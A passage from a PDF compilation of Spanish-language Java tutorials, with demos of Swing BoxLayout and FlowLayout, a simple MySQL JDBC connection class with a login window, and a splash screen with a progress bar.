Cada panel tendran cajas de textos y etiquetas. Estos estaran ordenados con BoxLayout enforma horizontal.
import javax.swing.BoxLayout;import javax.swing.JTextField;import javax.swing.JPanel;import javax.swing.JLabel;import javax.swing.JFrame;import javax.swing.JButton;import javax.swing.JPasswordField;import javax.swing.WindowConstants;
public class DemoBoxLayout{private JPanel panelSuperior, panelMedio, panelInferior;private JLabel etiqueta1, etiqueta2, etiqueta3;private JTextField cajaTexto;private JPasswordField cajaPass;private JButton botonAceptar, botonCancelar;private JFrame frame;
public void construyePanelSuperior(){panelSuperior =new JPanel();etiqueta2= new JLabel("Usuario");cajaTexto = new JTextField(10);panelSuperior.setLayout(new BoxLayout(panelSuperior,
BoxLayout.X_AXIS));panelSuperior.add(etiqueta2);panelSuperior.add(cajaTexto);
}
public void construyePanelMedio(){panelMedio=new JPanel();etiqueta3= new JLabel("Password");cajaPass = new JPasswordField(10);panelMedio.setLayout(new BoxLayout(panelMedio,
BoxLayout.X_AXIS));panelMedio.add(etiqueta3);panelMedio.add(cajaPass);
}
public void construyePanelInferior(){panelInferior=new JPanel();botonAceptar=new JButton("Aceptar");botonCancelar=new JButton("Cancelar");panelInferior.setLayout(new BoxLayout(panelInferior,
BoxLayout.X_AXIS));panelInferior.add(botonAceptar);panelInferior.add(botonCancelar);
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 159/169
public void construyeVentana(){
frame = new JFrame();etiqueta1 = new JLabel("Demo por inforux");frame.setLayout(new BoxLayout(frame.getContentPane(),
BoxLayout.Y_AXIS) );frame.add(etiqueta1);frame.add(panelSuperior);frame.add(panelMedio);frame.add(panelInferior);frame.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);
}
public DemoBoxLayout(){construyePanelSuperior();construyePanelMedio();construyePanelInferior();construyeVentana();
}
public static void main (String [] inforux){new DemoBoxLayout();
}}
Compilamos y ejecutamos
$javac DemoBoxLayout.java$java DemoBoxLayout
El resultado final sera:
Para esta interface de usuario, solo se limito a usar BoxLayout, ya q es un ejemplodemostrativo.
PD: La API completa de BoxLayout
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 160/169
JAVA: Practicando con FlowLayout
Continuando con los layouts, es que en esta oportunidad, tocaremos al mas facil de usar,
El FlowLayout, es aquel layout q ubica a todos los componentes en forma horizontal, en el
orden q le digamos.
Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente.
JFrame frame = new JFrame();frame.setLayout(new FlowLayout());
Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes,plenamente ya declarados y creados.
JButton boton = new JButton("Aceptar");frame.add(boton);
Hecho esto, el contenedor mismo, los ubicara en el centro(por defecto). Si queremos queempieze de derecha a izquierda o izquierda a derecha o en el centro, se lo decimos.
frame.setLayout(new floLayout(FlowLayout.CENTER));frame.setLayout(new floLayout(FlowLayout.RIGHT));frame.setLayout(new floLayout(FlowLayout.LEFT));
Aqui un jemplo:
import java.awt.FlowLayout;import javax.swing.JButton;import javax.swing.JLabel;import javax.swing.JTextField;import javax.swing.WindowConstants;import javax.swing.JFrame;
/*demostracion por inforux*/public class DemoFlowLayout {
private JButton botonEnviar;private JTextField cajaTexto;private JLabel etiqueta;
public void construyeVentana(){//creamos la ventana y asignamos el layoutJFrame frame = new JFrame();frame.setLayout(new FlowLayout());
//Creamos los componentes a utilizarbotonEnviar = new JButton("Enviar");cajaTexto = new JTextField(12);etiqueta= new JLabel("Escribe tu nombre");
//Aniadimos los componentes a la ventana
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 161/169
frame.add(etiqueta);frame.add(cajaTexto);frame.add(botonEnviar);
//algunas configuraciones de la ventanaframe.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);
}public DemoFlowLayout(){//constructor de la clase
construyeVentana();}
public static void main ( String [] Inforux){new DemoFlowLayout();
}}
Luego compilamos y ejecutamos
$javac DemoFlowLayout.java$java DemoFlowLayout
El resultado sera asi:
Como ven, la misma ventana siempre ubicara a los componentes de la mejor manera..
PD: La API completa de FlowLayout
Luego seguimos con el resto de layouts.
JAVA: Empezando con Layouts
Tiempo atraz acostumbraba a implementar mis GUIs de JAVA atravez de setBouns(), esmuy facil hacerlo, pueden verlo ustedes en los antiguos tutoriales q ofreci.
Sim embargo, tenia un serio problema, y es que al ser implementado en mi portatil, cuandolo terminaba y lo ejecutaba en una computadora de escritorio con linux, o windows, toda la
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 162/169
interfas de usuario q tan bonita habia quedado en mi portatil, ahora estaba totalmentedesproporcinada y fea. Porque ocurrio esto? la respuesta es sencilla, el metodo setBouns()fija el componente swing en una coordenada XY especifica de la ventana y esta asu vez a lapantalla del monitor donde esta implementandose.
setBouns(), es facil de usar, pero tiene desventajas, cuando intentamos ejecutarlo endiferentes computadoras donde el tamanio de la ventana es diferente, y el SO tambien.
Entonces por eso es necesario (yo diria OBLIGATORIO) el aprendizaje de los layouts, yaque estos ajustan los componente swing (JButton, JTextField, etc) con relacion a laVentana mas no al tamanio de la pantalla, esto es fundamental ya que permite la ejecucionde la aplicacion en cualquier computadora y SO, sin que la interfaz de usuario se veaafectada, mucho menos tener botones cortados, o letras q no caben.
ventana.setLayout(new LayoutRequerido());
Con un layout adecuado, y ademas agregando el método pack() a la ventana, permitira queobtenga el tamaño justo,para visualizar todos los componentes.
ventana.pack();
Los layouts mas conocidos, necesarios y los cual explicare mas adelante son:
FlowLayout, BoxLayout, BorderLayout, GridLayout, GridBagLayout
En el caso de no queder usar Layouts, se especifica con
ventana.setLayout(null);
Luego Seguimos. Saludos
Conectar MySQL desde JAVA
Bueno aprovechando lo aprendido en mis aplicaciones de escritorio, en esta oportunidadmostrare, una forma simple y segura de conectar una Base de Datos MySQL atravez deaplicaciones JAVA
Para empesar tenemos q tener creada o crear nuestra DB. Aqui es script
CREATE DATABASE IF NOT EXISTS DemoConexion;USE DemoConexion;DROP TABLE IF EXISTS `DemoConexion`.`MiTabla`;CREATE TABLE `DemoConexion`.`MiTabla` ( `campo1` varchar(40) NOT NULL)ENGINE=InnoDB DEFAULT CHARSET=latin1;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 163/169
La idea es tener una clase solamente para nuestra Conexion(Conexion), y otraclase(WindowConexion) q sirva para ingresar los datos, asi la clase Conexion podremosutilizarla por el resto de la aplicacion, con una simple llamado.
1.- Implementamos la clase donde podremos ingresar el usuario y contrase;a, es decir la
ventana…jje esta ventana tendra 2 jTextFile, y un boton aceptar, este mismo se le agregaun objeto de la clase ActionListener, para q siempre este escuchando, la interaccion con elusuario. aqui el fuente:
import java.awt.event.*;import javax.swing.*;class WindowConexion extends javax.swing.JFrame implements ActionListener{
java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();
public WindowConexion()/*metodo constructor*/{
initComponents();
centrar();}
public void centrar(){/*metodo para centrar la ventana*/this.setBounds((screenSize.width/2)-(this.getWidth()/2),(screenSize.height/2)-(this.getHeight()/2), this.getWidth(),this.getHeight());
}
private void initComponents() {setTitle("Demostracion MySQL - JAVA");jLabel1 = new JLabel();jLabel2 = new JLabel();jTFUsuario = new JTextField();jLabel4 = new JLabel();jButton1 = new JButton();jPFContraseña = new JPasswordField();jLError = new JLabel();jlSalida=new JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);setResizable(false);getContentPane().setLayout(null);
jLabel1.setForeground(new java.awt.Color(102, 102, 102));jLabel1.setText("Demo por Inforux");
jLabel1.setToolTipText("Demo Conexion MySQL by inforux");getContentPane().add(jLabel1);jLabel1.setBounds(30, 40, 150, 20);
jLabel2.setText("User");getContentPane().add(jLabel2);jLabel2.setBounds(40, 100, 38, 14);
getContentPane().add(jTFUsuario);jTFUsuario.setBounds(110, 100, 100, 18);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 164/169
jLabel4.setText("Password");getContentPane().add(jLabel4);jLabel4.setBounds(40, 120, 100, 14);
jlSalida.setText("");getContentPane().add(jlSalida);jlSalida.setBounds(40, 140, 150, 14);
jButton1.setText("Aceptar");getContentPane().add(jButton1);jButton1.setBounds(80, 180, 100, 24);getContentPane().add(jPFContraseña);jPFContraseña.setBounds(110, 120, 80, 18);
jLError.setForeground(java.awt.Color.gray);getContentPane().add(jLError);jLError.setBounds(50, 150, 130, 0);
java.awt.Dimension screenSize =
java.awt.Toolkit.getDefaultToolkit().getScreenSize();setBounds((screenSize.width-255)/2, (screenSize.height-255)/2,290, 255);
jButton1.addActionListener(this);//agrego mi objeto escucha}public void actionPerformed(ActionEvent evento) //programos los
eventos{
if (evento.getSource()== jButton1){//pregunto si la accion vienedel boton aceptar
try {if (Conexion.conectar())jlSalida.setText("Conexion Exitosa");}
catch (Exception ex){System.out.println(ex);}}
}
public static void main(String args[]){
new WindowConexion().setVisible(true);}
public static javax.swing.JButton jButton1;public static javax.swing.JLabel jLError;private javax.swing.JLabel jLabel1;private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel4;public static javax.swing.JPasswordField jPFContraseña;public static javax.swing.JTextField jTFUsuario;public static javax.swing.JLabel jlSalida;
}
2.- si compilamos en este momento nos dira error, porq no existe la conexion,trankilos…jeje ahora iplementemos lo q nos interesa la clase Conexion.java,
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 165/169
Esta clase, declara variables para obtener el nombre del driver, el nombre de la base dedatos, login(para capturar lo q escribas en la caja de texto), password(igual, captura lacontrase;a ingresada),y sobre todo el importantisimo, el objeto ―conn‖ de la clase
Connection(este se podra llamar desde cualquier clase, ya sea para hacer consultas), aquiles va el fuente.
import java.sql.*;
public class Conexion{
public final static String bd = "DemoConexion";public final static String url="jdbc:mysql://localhost/"+bd;public final static String driver="com.mysql.jdbc.Driver";public static Connection conn = null;public static String login=WindowConexion.jTFUsuario.getText();public static String password
=WindowConexion.jPFContraseña.getText();
//metodo para conectar con la BD
public static boolean conectar() throws Exception{login=WindowConexion.jTFUsuario.getText();password =WindowConexion.jPFContraseña.getText();try{
Class.forName(driver).newInstance();conn = DriverManager.getConnection(url,login,password);if (conn != null)System.out.println("Conexión a
DB..."+url+"...Ok"+"...Usuario:..."+login);
return true;}
catch(SQLException ex){
System.out.println("Error al conectar con laDB..."+url+"...Usuario:..." +login );
return false;}
}//fin del metodo conectar}//fin de la clase
3.- Compilar( $ javac .*java) aparecera esta ventana:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 166/169
Como ve, no es nada del otro mundo, el asunto es crear una clase independiente delresto, lacual nos conectara, y a su vez nos dara la conecion(el objeto conn) en el momentooportuno, ya sea para realizar consultas.
Espero le sirva a mas de uno, ya que personalmente, en un principio me hizo sufrir muchoo.
Saludos.
Una Pantalla Cargando con Imagen para mi
Aplicacion JAVA
Casi siempre , cuando ejecutamos alguna aplicacion(open office, gimp, amarok, froswire,etc), nos muestra una ventana indicando q la aplicacion esta cargando. entonces, hay casoscuando desarrollamos alguna aplicacion independiente del lenguaje, y deseamos q al iniciarnuestro programita, tambien muestre una ―pantalla de carga‖, eso en JAVA tambien es
posible.
Solo necesitamimos implementar un par de clases, y un archivo Imagen, la primera clase esla que dibujara la ventana y configurar la velocidad de carga, el dibujo en mi caso est,arriba la imagen, y debajo un scroll, pero es configurable( al gusto del usuario… jejee
mejor dicho del desarrolador), esta misma primera clase(PantallaCargando) hereda deJWindow, pero tambien puede heredar de JFrame, la diferencia creo q al momento decargar, jWindow, te permite ocultar a pantalla cargando, con solo un click, un mismoamarok… jFrame no.
La velocidad de carga es confugurable, solo tienes q modificar el metodo―velocidadDeCarga‖, bueno, el resto del codigo creoq es muy facil interpretarlo, aqui el
fuente;
import javax.swing.*;import java.awt.*;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 167/169
/*DEMO POR INFORUX*/public class PantallaCargando extends JWindow {BorderLayout borderLayout1 = new BorderLayout();JLabel imageLabel = new JLabel();JPanel southPanel = new JPanel();FlowLayout southPanelFlowLayout = new FlowLayout();JProgressBar progressBar = new JProgressBar();ImageIcon imageIcon;
public PantallaCargando(ImageIcon imageIcon) {this.imageIcon = imageIcon;dibujaVentana();
}
public void dibujaVentana() {imageLabel.setIcon(imageIcon);this.getContentPane().setLayout(borderLayout1);southPanel.setLayout(southPanelFlowLayout);southPanel.setBackground(Color.BLACK);this.getContentPane().add(imageLabel, BorderLayout.CENTER);
this.getContentPane().add(southPanel, BorderLayout.SOUTH);southPanel.add(progressBar, null);this.pack();
}
public void setProgresoMax(int maxProgress){progressBar.setMaximum(maxProgress);}
public void setProgreso(int progress){final int progreso = progress;
progressBar.setValue(progreso);}
public void setProgreso(String message, int progress){final int progreso = progress;final String theMessage = message;setProgreso(progress);progressBar.setValue(progreso);setMessage(theMessage); }
private void setMessage(String message){
if (message==null){message = "";progressBar.setStringPainted(false);}
else{progressBar.setStringPainted(true);}
progressBar.setString(message); }
public void velocidadDeCarga(){for (int i = 0; i <= 100; i++){
for (long j=0; j<100000; ++j)//modifica el numero segun la velidadq desees
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 168/169
{String poop = " " + (j + i);
}setProgreso("" + i, i); // si quieres q muestre los numeros y un
mensaje//setProgreso(i); //si no quieres q muestre nada, solo la
barra}dispose();}
}
La segunda clase(PantallaCargandoMain), en otras palabras no es mas q la clase q llama alprimero creando un objeto de la primera(PantallaCargando), y aplicandoles los metodos,OJO q en el metodo ―inicioPantalla‖. hay q darle la ruta de la imagen q deseamos. en mi
caso hay una carpeta con el nombre ―imagen‖, y dentro de ella esta la imagen fisica.
import javax.swing.UIManager;import javax.swing.ImageIcon;
public class PantallaCargandoMain {
PantallaCargando screen;
public PantallaCargandoMain() {inicioPantalla();
screen.velocidadDeCarga();}
private void inicioPantalla() {ImageIcon myImage = new ImageIcon("imagen/java.gif");screen = new PantallaCargando(myImage);
screen.setLocationRelativeTo(null);screen.setProgresoMax(100);screen.setVisible(true);
}
public static void main(String[] args){new PantallaCargandoMain();
}}
Ahora, puedes compilar (javac PantallaCargandoMain.java) y debe funcionar, o agregarestas 2 clases en la carpeta de tu aplicacion, y en la clase q inicias tu aplicacion, en el
metodo ―main‖ de tu proyecto, incluye solo una linea;
new PantallaCargandoMain();
Y listo.
Aqui un pantallazo
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 169/169
PD: la imagen puedes descargar Aqui